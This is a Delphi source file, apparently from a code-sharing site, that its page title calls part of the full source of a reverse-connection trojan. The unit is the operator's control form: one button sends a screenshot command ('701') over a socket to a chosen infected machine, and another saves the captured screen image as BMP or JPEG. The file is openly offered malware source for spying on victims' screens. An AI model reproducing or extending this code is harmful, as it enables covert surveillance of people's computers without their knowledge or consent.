unit2.pas

来自「反弹木马设计全部源码Delphi源码」· PAS 代码 · 共 74 行

PAS
74 行
字号
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  JPEG,Dialogs, StdCtrls, ExtCtrls, ComCtrls, Buttons;

type
  TForm2 = class(TForm)
    img: TImage;
    Panel1: TPanel;
    Button1: TButton;
    BitBtn9: TBitBtn;
    procedure Button1Click(Sender: TObject);
    procedure BitBtn9Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

uses Unit1;


{$R *.dfm}

procedure TForm2.Button1Click(Sender: TObject);
begin//抓图
 try
   form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('701'+form1.imge.Text);
   form1.sb.Panels.Items[2].Text:='B';
   BitBtn9.Enabled :=true;   
 except
   application.MessageBox('连接断开','提示' );
   form1.mainpc.Enabled :=false;
 end;
end;

procedure TForm2.BitBtn9Click(Sender: TObject);
var bmpnam:string;
    MyJPEG : TJPEGImage;
    MyBMP : TBitmap;
begin//图片保存
  bmpnam:=InputBox('保存图片','请输入保存的文件名: ','');
  if bmpnam='' then
   begin
    application.MessageBox('你未输入文件名!','提示');
    exit;
   end;
  bmpnam:=UPPERCASE(bmpnam);
  if pos('.BMP',bmpnam)=0 then bmpnam:=bmpnam+'.BMP';

  if fileexists(bmpnam) then
   if application.MessageBox('这个文件已经存在,是否覆盖?','提示',mb_yesno)=idno then exit;

  img.Picture.SaveToFile(bmpnam);
  application.MessageBox('图片保存完毕!','恭喜');

  MyBMP := TBitmap.Create;
  MyJPEG:= TJpegimage.Create;
  MyBMP.LoadFromFile(bmpnam);
  MyJPEG.Assign(MyBMP);
  MyJPEG.CompressionQuality:=STRTOINT(form1.imge.Text );
  MyJPEG.SaveToFile(bmpnam);
end;

end.

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?